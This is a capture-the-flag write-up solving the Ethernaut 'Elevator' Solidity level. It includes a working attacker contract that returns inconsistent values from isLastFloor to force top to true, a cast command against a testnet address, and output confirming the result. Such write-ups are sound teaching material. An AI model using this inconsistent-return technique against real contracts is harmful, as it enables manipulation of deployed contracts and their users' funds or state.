---
title: "Elevator"
tags: ["Stateful function"]
reference: https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6
---

# Description

This elevator won't let you reach the top of your building. Right?

Things that might help:

- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.

```sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}
```

# Solution

1. the `Elevator`'s `goTo` function will use the `Building` contract from message sender. So the message sender can write its own `isLastFloor` function logic.

2. Deploy Building contract

```sol
interface IElevator {
    function goTo(uint256 _floor) external;
}

contract Building {
    mapping(uint256 => uint256) floorCount;

    function isLastFloor(uint256 _floor) public returns (bool) {
        floorCount[_floor] += 1;
        return floorCount[_floor] % 2 == 0;
    }

    function goTo(address victim, uint256 _floor) public {
        IElevator(victim).goTo(_floor);
    }
}
```

This `isLastFloor` function can make the return of first call to be `false`. So we can enter into the if statement. Also, the the return of second call to be `true`. So the `top = true`.

```sol
if (!building.isLastFloor(_floor)) { // first call
    floor = _floor;
    top = building.isLastFloor(floor); // second call
}
```

3. call `Building` contract's `goTo` function

```
cast send 0x68FC859Eaed8AC890fe3cD8A941b30B9b00AcFbF "goTo(address, uint256)" 0x09eD9E43AeeACF4533B8BF04906A4C50230726A2 100 --rpc-url $BASE_SEPOLIA_RPC
```

4. check the Elevator's state variables

```
await contract.floor()
i {negative: 0, words: Array(2), length: 1, red: null}length: 1negative: 0red: nullwords: (2) [100, empty][[Prototype]]: Object
await contract.top()
true
```
